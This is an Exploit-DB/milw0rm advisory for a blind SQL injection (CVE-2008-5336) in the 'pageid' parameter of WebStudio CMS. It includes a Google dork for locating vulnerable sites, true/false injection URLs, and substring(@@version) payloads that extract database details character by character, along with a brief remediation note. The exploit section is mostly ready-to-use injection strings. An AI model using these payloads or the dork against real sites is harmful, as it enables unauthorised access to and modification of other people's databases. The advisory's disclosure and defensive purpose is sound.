Exploit WebStudio CMS - Blind SQL Injection

[Exploiter]

EDB-ID

7216

Проверка EDB

1. Пройдено

Автор

GLAFKOS CHARALAMBOUS

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-5336

Дата публикации

2008-11-24

Application:  WebStudio CMS

 

Vendor Name: BDigital Media Ltd

 

Vendors Url:  http://www.bdigital.biz

 

Bug Type:     WebStudio CMS (pageid) Blind SQL Injection Vulnerability

 

Exploitation: Remote

 

Severity: Critical

 

Solution Status: Unpatched 

 

Introduction: WebStudio CMS is a modular Web Content Management System
solution.

 

Google Dork:  "Powered by WebStudio"

 

 

Description:

 

WebStudio CMS is prone to an SQL-injection vulnerability because it fails to
sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application,
access or modify data, or exploit latent vulnerabilities in the underlying
database.

 

PoC:

 

http://localhost/index.php?pageid=1+and+1=1 ( TRUE  )

 

http://localhost/index.php?pageid=1+and+1=2 ( FALSE )

 

Exploit:

 

http://localhost/index.php?pageid=1+and+substring(@@version,1,1)=3 ( TRUE  )

 

http://localhost/index.php?pageid=1+and+substring(@@version,1,1)=4 ( FALSE )

 

http://localhost/index.php?pageid=1+and+substring(@@version,1,1)=5 ( FALSE )

 

Solution:

 

There was no vendor-supplied solution at the time of entry.

 

Edit source code manually to ensure user-supplied input is correctly
sanitised.

 

 

Credits:

 

Charalambous Glafkos

Email:  glafkos (at) astalavista (dot) com

___________________________________________

ASTALAVISTA - the hacking & security community

www.astalavista.com

www.astalavista.net

# milw0rm.com [2008-11-24]